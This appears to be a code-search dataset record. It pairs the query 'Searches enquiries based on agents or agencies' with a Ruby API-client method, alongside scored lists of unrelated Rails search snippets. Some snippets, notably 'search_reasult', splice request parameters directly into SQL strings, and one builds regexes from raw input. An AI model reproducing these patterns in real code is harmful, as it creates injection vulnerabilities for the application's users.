"def email_search\n @contacts = []\n @search = params[:search]\n Facebase::Contact.on_each_shard{|p|\n if @search && !@search[:email].nil?\n @contacts.concat(p.limit(20).where(\"email_address like ?\",'%' + @search[:email] + '%'))\n else\n @contacts.concat(p.limit(20).all())\n end\n }\n respond_to do |format|\n format.html { render \"/facebase/contacts/index.html.erb\" }\n format.json { render json: @contacts }\n end\n end",
"def search_reasult(search_params)\n puts search_params\n # Available FBA States\n @fba_states = [[\"All\", nil], [\"Picking Line\", [\"rfp\", \"assign_for_pickup\"]], [\"Packing Line\", [\"picked_up\", \"assign_for_packup\"]], [\"Out For Delivery\", [\"delivery\", \"redelivery\"]], [\"Cancelled\", [\"cancel\"]], [\"Completed\", [\"complete\", \"customer_complete\", \"self_collect_complete\", \"collect_complete\", \"return_complete\"]]]\n @customer_pickup = false\n\n # Collect all search params if available\n if params[:order].present?\n @customer_pickup = params[:order][:is_pick_at_store] == \"true\" ? true : false\n @seller_id = params[:order][:seller_id]\n @market_place_id = params[:order][:market_place_id]\n @fba_state = params[:order][:fba_state]\n @formatted_state = @fba_state.tr('\"', '').gsub(\"[\",\"\").gsub(\"]\",\"\").split(\",\").map(&:lstrip) if @fba_state.present?\n @search_text = params[:order][:search_text]\n end\n\n # Initialize an array to collect the search query condition\n @query_conditions = []\n\n if params[:created_at_lt].present? && params[:created_at_gt].present?\n st_date = params[:created_at_gt].to_date.beginning_of_day\n end_date = params[:created_at_lt].to_date.end_of_day\n @query_conditions << \" order_date BETWEEN '#{st_date}' AND '#{end_date}'\"\n end\n\n # Check for all search parameters and create query conditions accordingly\n if @customer_pickup.present?\n @query_conditions << \"spree_line_items.is_pick_at_store = #{@customer_pickup}\"\n end\n if @market_place_id.present?\n @query_conditions << \" market_place_id = #{@market_place_id}\"\n end\n if @search_text.present?\n @query_conditions << \" (number like '%#{@search_text}%' OR market_place_order_no like '%#{@search_text}%' OR cart_no like '%#{@search_text}%' OR fulflmnt_tracking_no like '%#{@search_text}%' OR spree_addresses.firstname like '%#{@search_text}%' )\"\n end\n if @formatted_state.present?\n # Check for selected seller and collect his orders and match selected fba state\n if @seller_id.present?\n @seller = Spree::Seller.find(params[:order][:seller_id])\n @orders = @seller.orders.where(:fulflmnt_state => @formatted_state)\n else\n @orders = @orders.where(:fulflmnt_state => @formatted_state)\n end\n else\n if @seller_id.present?\n @seller = Spree::Seller.find(params[:order][:seller_id])\n @orders = @seller.orders\n end\n end\n\n # Combine all query conditions in single\n @query_conditions = @query_conditions.join(' and ')\n\n # Check for loged in user role\n if spree_current_user.has_spree_role?('seller')\n @market_places = spree_current_user.seller.market_places\n @seller = spree_current_user.try(:seller)\n @orders = @orders.includes(:line_items,:ship_address).where(\"\"+@query_conditions)\n else\n @sellers = Spree::Seller.all\n @market_places = Spree::MarketPlace.all\n @orders = @orders.includes(:line_items,:ship_address).where(\"\"+@query_conditions)\n end\n end",
"def find_all_events\n\n\t@event_searches = EventSearch.order('\"bandName\" ASC')\n\tj = 0\n\t\n\twhile j < @event_searches.length\n\tes = @event_searches[j]\n\t\n\tRails.logger.debug \"*****************\" \n\tRails.logger.debug(j)\n\tRails.logger.debug(es.bandName)\n\t\n\t#take this out in production\n\t#es = nil_fields_to_empty_strings(es)\n\t\n\tdo_search(es)\n\t\n\tRails.logger.debug \"*****************\" \n\tj += 1\n\n\tend\n end",
"def index\n @investigators = (@organization ? @organization.investigators : Investigator).search(params[:q], :page => params[:page], :total_entries => @total_entries)\n\n respond_to do |format|\n format.html {\n if @investigators.size == 0\n @organizations = Organization.search(params[:q], :page => params[:page])\n if @organizations.size > 0\n redirect_to organizations_path(params)\n end\n elsif params.key?(:q) and @investigators.size == 1\n redirect_to investigator_path(@investigators[0])\n end\n } # index.html.erb\n format.xml { render :xml => @investigators }\n end\n end",
"def index\n @q = params[:search_query]\n @departments = Department.all\n if @q.present? ? @q : nil\n #Employee.where(\"name ilike ?\",\"%#{search}%\")\n puts \"Your search is #{@q}\"\n @employees = Employee.search @q, fields: [\"department_name\",\"name\"], match: :word_start\n else\n @employees = Employee.all\n end\n end",
"def find(search_terms, acct=nil)\n []\n end",
"def search query\n @content = @reader.read if @content.nil?\n @content.select do |doc|\n rs = []\n query.terms.each do |term|\n if term.compare(doc.send(term.field))\n rs << true\n end\n end\n if query.relation == :and\n rs.count == query.terms.count\n else\n !rs.empty?\n end\n end\n end",
"def search_request(params)\n result = @client.connection.get(PATH, params)\n Yelp::Fusion::Error.check_for_error(result)\n result\n end",
"def index\n respond_with Official.search(official_search_params)\n end",
"def index\n @aoo_refs = AooRef.search(params, 50)\n end",
"def get_ack_incidents\n # use status of incident as a filter\n res = RestClient.get INCIDENT_QUERY_URL, :params => { :status => \"acknowledged\", :fields => \"incident_number\" }\n end",
"def search(params)\n filter_name, keywords, field_queries = extract params\n scope = filtered_by filter_name\n query = text_search keywords\n query = field_search field_queries, query\n scope.where query\n end",
"def search\n \n search_by_skill_flag = params['skills'].length > 1 || params['skills']['0']['id'].to_i > 0\n search_by_status_flag = params['statuses'].length > 1 || params['statuses']['0']['job'].to_i > 0\n\n type = 0\n type = 1 if search_by_skill_flag\n type = 2 if search_by_status_flag\n type = 3 if search_by_skill_flag && search_by_status_flag\n\n engineers = Engineer.all if type == 0\n engineers = search_by_skills_and_status() if type == 3\n engineers = search_by_status() if type == 2\n engineers = search_by_skills() if type == 1\n\n @engineers = engineers.page(params[:page])\n @skills = Skill.all\n @jobs = Job.all\n\n render :index\n\n end",
"def get_submissions\n puts \"== searching for whoishiring submissions ==\"\n @items ||= HiringTrends::ItemSearch.new.execute\n end",
"def search_people(searchterm,params={})\n @opensearch.search_people(searchterm,params) \n end",
"def search(options={})\n params = []\n options.each do |key, value|\n params << \"#{key}=#{value}\"\n end\n ethon = ethon_easy_json_requester\n ethon.url = uri_escape(\"#{base_api_url}search/query?#{params.join('&')}\")\n ethon.perform\n check_and_raise_failure(ethon)\n server_responded_at = Time.now\n {\n requested_url: ethon.url,\n server_responded_at: server_responded_at,\n results: parse_search_response(ethon.response_body)\n }\n end",
"def search(*args)\n search_provider.search(*args)\n end",
"def search_orgs(query, params = {})\n params.merge!(q: query)\n orgs(params)\n end",
"def index\n @enrollments = Enrollment.search(params[:tipo], params[:pesquisa], params[:status])\n end",
"def mailing_searches(id, params = {})\n get(\"/mailings/#{id}/searches\", params)\n end",
"def index\n @offers = Offer.where(company_id: params[:company_id]) \n if params[:search].present?\n @q = @company.offers.near(params[:search], 200, :order => 'distance' ).ransack(params[:q])\n @offers = @q.result(:distinct => true)\n else \n @q = @company.offers.ransack(params[:q])\n @offers = @q.result(:distinct => true)\n end\n end",
"def scan_all(*vars, &block)\n Query.elastics.scan_search(:get, self, *vars) do |result|\n block.call result.get_docs\n end\n end",
"def index\n @myjobs = Myjob.where(\"company like (?) OR experince =? Location like (?) OR technology like (?)\",\"#{params[:search_com]}\",\"#{params[:search_exp]}\",\"%#{params[:search_location]}%\",\"%#{params[:search_tec]}%\")\n conditions = []\n if params[:search_com].present?\n conditions[0] = \"company like (?)\"\n conditions << \"#{params[:search_com]}\"\n end\n if params[:search_exp].present?\n if conditions[0].present?\n conditions[0] += \" OR company like (?)\"\n else\n conditions[0] += \"company like (?)\"\n end\n conditions << \"#{params[:search_com]}\"\n end\n\n @myjobs = Myjob.where(conditions)\n # binding.pry\n end",
"def advanced_search\n if params[:name] || params[:location] || params[:user] || params[:content]\n query = create_advanced_search_query(params)\n else\n return if handle_advanced_search_invalid_q_param?\n\n query = find_query(:Observation)\n end\n show_selected_observations(query)\n rescue StandardError => e\n flash_error(e.to_s) if e.present?\n redirect_to(search_advanced_path)\n end",
"def search\n year = params[:year] ||= {}\n params[:duration] = \"30\" if params[:duration].nil?\n duration = params[:duration]\n subject_id = params[:subject_id] ||= {}\n query = search_hash year, subject_id\n reports = current_user.reports.desc(:exam_date).where(query).where(exam_date:Time.now.all_week()) if (duration == \"7\")\n reports = current_user.reports.desc(:exam_date).where(query).where(exam_date:Time.now.all_month()) if (duration == \"30\")\n reports = current_user.reports.desc(:exam_date).where(query).where(exam_date:Time.now.all_year()) if (duration == \"12\")\n return reports\n end",
"def invitation_search(q, limit=10)\n if q.present? and q.length > 1\n already_exists_ids = []\n already_exists_emails = []\n # add owner\n already_exists_ids << self.id\n # add colaborators\n if self.members.present?\n already_exists_ids << self.members.map{|x| x.member_id}\n end\n # add invitations\n pending = Invitation.pending_from_user(self.id)\n if pending.present?\n already_exists_emails << pending.map{|x| x.to_email}\n end\n\n already_exists_ids.flatten!\n already_exists_emails.flatten!\n\n users = User.any_of({first_name: /#{q}/i}, {last_name: /#{q}/i}, {email_no_domain: /#{q}/i}).limit(limit)\n if already_exists_ids.present? && already_exists_emails.present?\n users = users.not_in({id: already_exists_ids.uniq, email: already_exists_emails.uniq})\n elsif already_exists_ids.present?\n users = users.not_in({id: already_exists_ids.uniq})\n elsif already_exists_emails.present?\n users = users.not_in({email: already_exists_emails.uniq})\n end\n\n return users\n end\n end",
"def arches\n @arches ||= lipo.info\n end",
"def searches\n Boundary.get(@url)\n end",
"def index\n @investors = params[:q].present? ? Investor.search(params[:q]) : Investor.all\n @investors = @investors.includes(:investment_group, :consultant).ordered.\n page(params[:page]).references(:investment_group, :consultant)\n end",
"def query_issues(jql_criteria)\n url = \"#{@base_url}/rest/api/2/search\"\n jql_criteria[\"maxResults\"] = \"5\"\n comment = \"Searching Issues via jql: #{jql_criteria.inspect}\"\n options = [@login_options, {\"data\" => jql_criteria}].inject(:merge)\n result = rest_call(url, \"post\", options)\n #log result.inspect\n result\n end",
"def agreement_acceptances()\n return MicrosoftGraph::AgreementAcceptances::AgreementAcceptancesRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def index\r\n @equipment_scope = @equipment_scope.search_by(:materials, params[:materials_query])\r\n @equipment_scope = @equipment_scope.search_by(:capabilities, params[:capabilities_query])\r\n end",
"def test_agent_enquiries_by_property\n agent_id = Agents::Branches::AssignedAgent.last.id\n get :agent_enquiries_by_property, { agent_id: agent_id }\n earlier_response = Oj.load(@response.body)\n verification_status = true\n attach_agent_to_property_and_update_details(agent_id, SAMPLE_UDPRN, 'Green', \n verification_status, SAMPLE_BEDS, SAMPLE_BATHS, \n SAMPLE_RECEPTIONS)\n\n enquiry_count = 0\n\n Trackers::Buyer::ENQUIRY_EVENTS.each do |event|\n process_event_helper(event, @address_doc['_source'])\n @address_doc['_source'].delete('agent_id')\n get :agent_enquiries_by_property, { agent_id: agent_id }\n assert_response 200\n\n ### Check for the event\n response = Oj.load(@response.body)\n event_value = response.first[event.to_s]\n if event.to_s != 'viewing_stage'\n assert_equal event_value, 1\n end\n\n assert_equal response.length, (earlier_response.length + 1)\n\n ### Check for the property attrs of the body\n attrs = ['udprn', 'beds', 'baths', 'receptions']\n attrs.each do |attr_val|\n assert_equal response.first[attr_val], eval(\"SAMPLE_#{attr_val.upcase}\")\n end\n\n enquiry_count = enquiry_count + 1\n #### Check if the total number of enquiries are increasing\n assert_equal response.first['total_enquiries'], enquiry_count\n end\n\n other_events = ['offer_made_stage', 'deleted']\n other_events.each do |event|\n process_event_helper(event, @address_doc['_source'])\n get :agent_enquiries_by_property, { agent_id: agent_id }\n response = Oj.load(@response.body)\n event_value = response.first[event.to_s]\n assert_equal event_value, 1\n end\n\n total_trackings = 0\n Trackers::Buyer::TRACKING_EVENTS.each do |event|\n process_event_helper(event, @address_doc['_source'])\n get :agent_enquiries_by_property, { agent_id: agent_id }\n response = Oj.load(@response.body)\n count = response.first['trackings']\n total_trackings += 1\n assert_equal count, total_trackings\n end\n\n ### Test for verification status filter\n new_verification_status = !verification_status\n get :agent_enquiries_by_property, { agent_id: agent_id, verification_status: new_verification_status }\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response.length, 0\n\n new_verification_status = !new_verification_status\n get :agent_enquiries_by_property, { agent_id: agent_id, verification_status: new_verification_status }\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response.length, 1\n\n\n ### Test for property_status_type_filter\n property_status_type = 'Red'\n get :agent_enquiries_by_property, { agent_id: agent_id, property_status_type: property_status_type }\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response.length, 0\n\n property_status_type = 'Green'\n get :agent_enquiries_by_property, { agent_id: agent_id, property_status_type: property_status_type }\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response.length, 1\n\n create_rent_enquiry_event\n attach_agent_to_property_and_update_details(agent_id, '123456', 'Rent', \n verification_status, SAMPLE_BEDS, SAMPLE_BATHS, \n SAMPLE_RECEPTIONS)\n\n\n property_status_type = 'Rent'\n\n get :agent_enquiries_by_property, { agent_id: agent_id, property_status_type: property_status_type }\n assert_response 200\n response = Oj.load(@response.body)\n assert_equal response.length, 1\n destroy_rent_enquiry_event\n ### TODO: Agent details have to be verified as well\n end",
"def index\n if params[:employee] && params[:employee].key?(:q)\n q = params[:employee][:q]\n\n @employees = Employee.where('name LIKE ?', \"%#{q}%\").order('name ASC').paginate(:page => params[:page])\n else\n @employees = Employee.all.order('name ASC').paginate(:page => params[:page])\n end\n end",
"def index\n @quests = Quest.all\n\n unless params[\"search\"].nil?\n case params[\"search\"]\n when \"main\"\n @quests=Quest.where(quest_type: \"Main\")\n when \"item\"\n @quests=Quest.where(quest_type: \"Item\")\n when \"side\"\n @quests=Quest.where(quest_type: \"Side\")\n when \"cash\"\n @quests=Quest.where(quest_type: \"Cash\")\n end\n end\n end",
"def index\n if params[:mode] == 'add'\n unless current_user.try(:has_role?, 'Librarian')\n access_denied\n return\n end\n end\n query = params[:query].to_s.strip\n\n if query.size == 1\n query = \"#{query}*\"\n end\n\n @query = query.dup\n query = query.gsub(' ', ' ')\n order = nil\n @count = {}\n\n search = Agent.search(include: [:agent_type, :required_role])\n search.data_accessor_for(Agent).select = [\n :id,\n :full_name,\n :full_name_transcription,\n :agent_type_id,\n :required_role_id,\n :created_at,\n :updated_at,\n :date_of_birth\n ]\n set_role_query(current_user, search)\n\n if params[:mode] == 'recent'\n query = \"#{query} created_at_d:[NOW-1MONTH TO NOW]\"\n end\n if query.present?\n search.build do\n fulltext query\n end\n end\n\n unless params[:mode] == 'add'\n work = @work\n expression = @expression\n manifestation = @manifestation\n agent = @agent\n agent_merge_list = @agent_merge_list\n search.build do\n with(:work_ids).equal_to work.id if work\n with(:expression_ids).equal_to expression.id if expression\n with(:manifestation_ids).equal_to manifestation.id if manifestation\n with(:original_agent_ids).equal_to agent.id if agent\n with(:agent_merge_list_ids).equal_to agent_merge_list.id if agent_merge_list\n end\n end\n\n role = current_user.try(:role) || Role.default\n search.build do\n with(:required_role_id).less_than_or_equal_to role.id\n end\n\n page = params[:page].to_i || 1\n page = 1 if page.zero?\n search.query.paginate(page, Agent.default_per_page)\n @agents = search.execute!.results\n\n flash[:page_info] = { page: page, query: query }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @agents }\n format.rss { render layout: false }\n format.atom\n format.json\n format.html.phone\n end\n end",
"def available_jobs\n @jobs = Job.all.select { |j| !j.agents.include?(current_user) && j.start_date >= Date.today }\n end",
"def possible_jobs\n \n\n job = params[:job].titleize\n location = params[:location].titleize\n\n results = Cb.job.search({ location: location,\n keywords: job })\n jobs = results.model.jobs\n @job_data = {\n job: job,\n location: location,\n job_results: jobs\n }\n end",
"def searches\n search_objects.map{ |s| s.query }\n end",
"def setup_invites_for_upcoming\n if( @upcoming_near_me.blank? )\n @upcoming_near_me = Invitation.search \"#{@current_city} #{@current_state} #{@current_country}\",:with => {:start_date => Time.now.utc..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0}, :without => {:purpose_id => 19}, :order => :id, :sort_mode => :desc\n #~ @upcoming_near_me = LookUp::meetings_for_upcoming_on_user_home(:city => @current_city, :state => @current_state, :country => @current_country) \n @invites_for_map = LookUp::invites_for_map_on_user_home(@upcoming_near_me.map(&:id))\n end\n end",
"def index\n\n # Grab user's diets as saved in profile and pass it into the search\n user_diets = current_user.compile_diets\n\n if params[:search_by_diet].present?\n allowed_diets_in_search = (user_diets << params[:search_by_diet]).flatten!\n else\n allowed_diets_in_search = user_diets\n end\n\n # Grab user's allergies as saved in profile and pass it into the search\n user_allergies = current_user.compile_allergies\n\n if params[:search_by_allergy].present?\n allowed_allergies_in_search = (user_allergies << params[:search_by_allergy]).flatten!\n else\n allowed_allergies_in_search = user_allergies\n end\n\n user_excluded_ingredients = current_user.compile_excluded_ingredients\n\n @results = Yummly.search(\n params[:search_by_all],\n \"maxTotalTimeInSeconds\" => params[:search_by_time],\n \"allowedCourse[]\" => params[:search_by_course],\n \"allowedAllergy[]\" => allowed_allergies_in_search,\n \"allowedDiet[]\" => allowed_diets_in_search,\n \"excludedIngredient[]\" => user_excluded_ingredients,\n maxResult: 50);\n \n\n end",
"def company_search(*keywords, filter: nil, **opts)\n\n opts[:params] = {} if opts[:params].blank?\n opts[:params].merge! keywords: keywords.compact.join(' ')\n\n unless filter.blank?\n filter.each do |filt|\n new_filt = Hash[*filt.to_s.split('=')] unless filter.respond_to? :keys\n opts[:params].merge! new_filt\n end\n end\n\n unless opts[:facets].blank?\n facets = Hash['facets', opts[:facets]]\n opts[:params].merge! facets\n end\n\n execute 'company-search', opts\n end",
"def index\n if params[:keywords].present?\n search = Address.search do\n fulltext params[:keywords]\n\n if params[:option] == \"Assigned\"\n without(:user_id, AddressesHelper.find_nobody_id)\n elsif params[:option] == \"Free\"\n with(:user_id, AddressesHelper.find_nobody_id)\n end\n\n paginate page: params[:page] || 1,\n per_page: IPAMSConstants::RECORD_COUNT_PER_PAGE\n end \n # Type Sunspot::Search::PaginatedCollection < Array\n @addresses = search.results\n elsif params[:option].present? && (params[:option] != \"All\")\n nobody_id = AddressesHelper.find_nobody_id\n if params[:option] == \"Assigned\"\n @addresses = Address.where.not(user_id: AddressesHelper.find_nobody_id)\n .paginate(page: params[:page],\n per_page: IPAMSConstants::RECORD_COUNT_PER_PAGE)\n elsif params[:option] == \"Free\"\n @addresses = Address.where(user_id: AddressesHelper.find_nobody_id)\n .paginate(page: params[:page],\n per_page: IPAMSConstants::RECORD_COUNT_PER_PAGE)\n end\n else\n # paginate returns object of \n # type User::ActiveRecord_Relation < ActiveRecord::Relation\n @addresses = Address.paginate(page: params[:page],\n per_page: IPAMSConstants::RECORD_COUNT_PER_PAGE)\n end\n\n authorize @addresses\n #policy_scope(@addresses)\n end"
] |
[
"0.62912035",
"0.5943017",
"0.5818383",
"0.5763571",
"0.55510765",
"0.5463672",
"0.5458465",
"0.54349744",
"0.54203886",
"0.53927994",
"0.5341064",
"0.53291506",
"0.53019464",
"0.5286",
"0.52757335",
"0.5264768",
"0.5256553",
"0.5240246",
"0.5238153",
"0.5225142",
"0.51921916",
"0.5190636",
"0.51855797",
"0.5181123",
"0.5178314",
"0.5172085",
"0.51653093",
"0.51293826",
"0.5109379",
"0.51092166",
"0.5093563",
"0.5093563",
"0.5082015",
"0.5077746",
"0.5076415",
"0.5061866",
"0.5060956",
"0.50352436",
"0.50259006",
"0.50209427",
"0.5013611",
"0.5008501",
"0.49931547",
"0.49865484",
"0.49831885",
"0.4982313",
"0.4982297",
"0.49781325",
"0.4976427",
"0.49727347",
"0.4970784",
"0.4968076",
"0.49625245",
"0.49613813",
"0.49608648",
"0.49567437",
"0.49493474",
"0.49445337",
"0.49418852",
"0.49386206",
"0.49322075",
"0.492886",
"0.492729",
"0.49272588",
"0.4925988",
"0.49203944",
"0.49200347",
"0.49136695",
"0.49123487",
"0.4911523",
"0.49037597",
"0.49026278",
"0.49007928",
"0.48948544",
"0.48911446",
"0.4887314",
"0.48810908",
"0.4871657",
"0.4868502",
"0.48668963",
"0.48659045",
"0.48636004",
"0.4862908",
"0.486226",
"0.48622432",
"0.48609117",
"0.48554778",
"0.4847423",
"0.4845766",
"0.484509",
"0.4844725",
"0.48444644",
"0.48396176",
"0.4838645",
"0.48363912",
"0.4829312",
"0.48293048",
"0.4829148",
"0.4827648",
"0.48207003"
] |
0.68223643
|
0
|
Searches enquiries based on agents or agencies.
|
def enquiries_search_with_http_info(opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: EnquiriesApi.enquiries_search ...'
end
# resource path
local_var_path = '/v1/enquiries'
# query parameters
query_params = {}
query_params[:'agencyId'] = opts[:'agency_id'] if !opts[:'agency_id'].nil?
query_params[:'agentId'] = opts[:'agent_id'] if !opts[:'agent_id'].nil?
query_params[:'from'] = opts[:'from'] if !opts[:'from'].nil?
query_params[:'to'] = opts[:'to'] if !opts[:'to'].nil?
query_params[:'pageNumber'] = opts[:'page_number'] if !opts[:'page_number'].nil?
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html', 'application/xml', 'text/xml'])
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = ['oauth2']
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'Array<DomainPublicAdapterWebApiModelsV1EnquiriesEnquiryReport>')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: EnquiriesApi#enquiries_search\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def enquiries_search(opts = {})\n data, _status_code, _headers = enquiries_search_with_http_info(opts)\n data\n end",
"def all_search\n @results ||= []\n feat_keyword ||= {:name_contains => params[:q]}\n reward_keyword ||= {:partner_business_name_contains => params[:q]}\n\n Feat.search(feat_keyword).all.each do |r|\n @results << r\n end if !Feat.search(feat_keyword).all.nil? && feat_keyword.length > 0\n\n Reward.search(reward_keyword).all.each do |r|\n @results << r\n end if !Reward.search(reward_keyword).all.nil? && reward_keyword.length > 0\n end",
"def attendee_search(agenda_id)\n\t\tself.attendees.where(agenda_id: agenda_id)\n\tend",
"def agencies_search(q, opts = {})\n data, _status_code, _headers = agencies_search_with_http_info(q, opts)\n data\n end",
"def search_tickets(term, value)\n results = @tickets_indice.search(term: term, value: value)\n if perform_search_by_id?(term)\n results.each do |ticket|\n # Get related organizations\n ticket['organizations'] =\n @organizations_indice.search_by_primary_key(value: ticket['organization_id'])\n\n # Get related users who are submitters\n ticket['submitters'] =\n @users_indice.search_by_primary_key(value: ticket['submitter_id'])\n\n # Get related users who are assignees\n ticket['assignees'] =\n @users_indice.search_by_primary_key(value: ticket['assignee_id'])\n end\n end\n results\n end",
"def agencies_search_with_http_info(q, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AgenciesApi.agencies_search ...'\n end\n # verify the required parameter 'q' is set\n if @api_client.config.client_side_validation && q.nil?\n fail ArgumentError, \"Missing the required parameter 'q' when calling AgenciesApi.agencies_search\"\n end\n # resource path\n local_var_path = '/v1/agencies'\n\n # query parameters\n query_params = {}\n query_params[:'q'] = q\n query_params[:'pageNumber'] = opts[:'page_number'] if !opts[:'page_number'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'text/html', 'application/xml', 'text/xml'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<DomainAgencyServiceV2ModelAgencySummary>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AgenciesApi#agencies_search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n if current_user.hq_role == true\n @reqs = Req.all\n @search = Req.ransack(params[:q])\n @reqs = @search.result\n else\n @search = Req.ransack(params[:q])\n @reqs = @search.result\n @reqs = @reqs.mine(current_user)\n end\n end",
"def search_organizations(term, value)\n results = @organizations_indice.search(term: term, value: value)\n if perform_search_by_id?(term)\n results.each do |organization|\n # Get related tickets\n organization['tickets'] =\n @tickets_indice.search(term: 'organization_id', value: organization['_id'])\n\n # Get related users\n organization['users'] =\n @users_indice.search(term: 'organization_id', value: organization['_id'])\n end\n end\n results\n end",
"def run_search\n agent = Mechanize.new\n agent.get('http://www.indeed.com/')\n fill_out_search_form(agent)\n search_and_create_job_application(agent)\n end",
"def search_inspections\n search_business_context( true )\n end",
"def set_search\n @search_adie = Adie.search(params[:q])\n @search_company = Company.search(params[:q])\n @search_employee = Employee.search(params[:q])\n end",
"def search(term)\n all.select { |contact| contact.name.include?(term) || contact.email.include?(term) }\n end",
"def auto_complete_for_filter_expense_pending_envelope\r\n project_ids = (@current_user.supervised_projects.nil? || @current_user.supervised_projects.empty? ) ? '' : (@current_user.supervised_projects.collect {|p| p.id}.flatten)\r\n @items=BulkExpense.find(:all,:include=> [:user, :project] ,\r\n :conditions=>['expenses.envelope like ? and users.enterprise_id=? and (users.supervisor_id=? OR projects.id IN (?))',\"%#{params[:crt_envelope]}%\",@enterprise.id,@current_user.id, project_ids]) \r\n render :inline => '<%= auto_complete_result(@items, \"envelope\") %>'\r\n end",
"def find_jobs_by_term\n\n print \"\\nEnter a search term to filter jobs by: \".blue\n search_term = gets.strip\n\n jobs = FreelancerFinder::Job.all.find_all do |job|\n job.title.include?(\"#{search_term}\") || job.short_description.include?(\"#{search_term}\") || !!job.tags.detect {|tag| tag.include?(\"#{search_term}\")}\n end\n\n jobs\n end",
"def search(criteria = {})\r\n \r\n end",
"def look_up\n raise 'Missing search data!' unless @conditions.valid?\n\n # get tickets/users data\n data = DataStore.instance.send(@conditions.option)\n # a flag to indicate if the search term is an arary type or not\n is_array_term = array_term?(data, @conditions.term)\n\n # travese all data\n @results = data.select do |d|\n if is_array_term # run an array search if the search term is an array field\n values = @conditions.value.split(',').map(&:strip)\n values.all? { |value| d[@conditions.term].include?(value) }\n else # run a normal value match search instead\n d[@conditions.term].to_s == @conditions.value\n end\n end\n\n # make an axtra look up to get associated ticket names or assignee names\n send(\"extra_#{@conditions.option}_data_look_up\")\n end",
"def search(keywords, *fields)\n return all\n end",
"def index\n @training_requests = if params[:q].blank?\n TrainingRequest.order(start_date: :desc)\n .includes(:assigned_to_user, :requested_by_user)\n .page params[:page]\n else\n elastic_search_results(TrainingRequest)\n end\n end",
"def issues(*args)\n params = arguments(args, required: [:q]).params\n params['q'] ||= arguments.q\n\n get_request('/search/issues' , params)\n end",
"def full_text_search(options, ar_options ={})\n klass = use_invitation(options) ? Invitation : Meeting\n ar_options[:include] ||= DEFAULT_INCLUDES\n\t\t build_query_string(options)\n\n\t\t options[:sort] = @sort_options unless @sort_options.nil?\n\t\t options[:page] ||= 1\n logger.debug \"SEARCH STRING: #{@query_string} OPTIONS: #{options.to_yaml}\"\n\n\t\t begin\n\t\t results = klass.paginate_search(@query_string, options, ar_options) \n\t\t rescue\n\t\t logger.error(\"Error while searching with search string: #{@query_string}\")\n\t\t logger.error(\"Error was: #{$!}.\")\n\t\t logger.error($!.backtrace.join(\"\\n\"))\n\t\t return WillPaginate::Collection.new(0, 20, 0) # This is wrong actually. We need to return an empty paginator... Might be somethign like this WillPaginate::Collection.new(page, per_page, total_hits) ?? \n\t\t end\n results.each do |result|\n result.extend(TTB::CoerceInvitation)\n result.filtered_date = self.start_date\n end\n \n \n #~ real_results = results.sort_by{|inv| inv.start_time_local }\n #~ real_results.extend(TTB::CoerceResults)\n #~ real_results.real_results = results\n\t\t return results\n\t\tend",
"def subject_other_search\n @subject_other_search ||= begin\n vals = subject_occupations ? Array.new(subject_occupations) : []\n vals.concat(subject_names) if subject_names\n vals.concat(subject_titles) if subject_titles\n vals.empty? ? nil : vals\n end\n end",
"def index\n @q = params[:q]\n @jobs = Job.includes(:city, :company)\n @jobs = @jobs.where('name like ?', \"%#{@q}%\") if @q.present?\n\n @my_applications = user_signed_in? ? JobApplication.where(user: current_user) : []\n end",
"def index\n @q = @elist_reports.search params[:q]\n @elist_reports = @q.result.page(params[:page])\n end",
"def index\n @agents = Agent.where(active: true)\n if params[:sort].blank?\n @agents = @agents.order(id: :desc).page(params[:page]).per 20\n else\n @agents = @agents.order(\"#{sort_column} #{sort_direction}\").page(params[:page]).per 20\n end\n #@agents = @agents.where(\"agents.name like ?\", \"%#{params[:name]}%\") unless params[:name].blank?\n #@agents = @agents.where(\"brokers.name like ?\", \"%#{params[:broker_name]}%\") unless params[:broker_name].blank?\n #@agents = @agents.where(\"agents.tel like ?\", \"%#{params[:tel]}%\") unless params[:tel].blank?\n #@agents = @agents.where(\"agents.email like ?\", \"%#{params[:email]}%\") unless params[:email].blank?\n end",
"def search(email_option, email, postcode_option, postcode)\n email = sanitise_email(email)\n postcode = sanitise_postcode(postcode)\n\n query = Person.joins(:postcode)\n if(email_option == 'include' && email )\n query = query.where(:email_domain => email)\n elsif(email_option == 'exclude' && email )\n query = query.where(\"email_domain NOT IN (?)\", email)\n end\n\n if(postcode_option == 'include' && postcode)\n query = query.where(:postcodes => {:number => postcode})\n elsif(postcode_option == 'exclude' && postcode)\n query = query.where(\"postcodes.number NOT in (?)\", postcode )\n end\n\n return query.order(:name).all\n end",
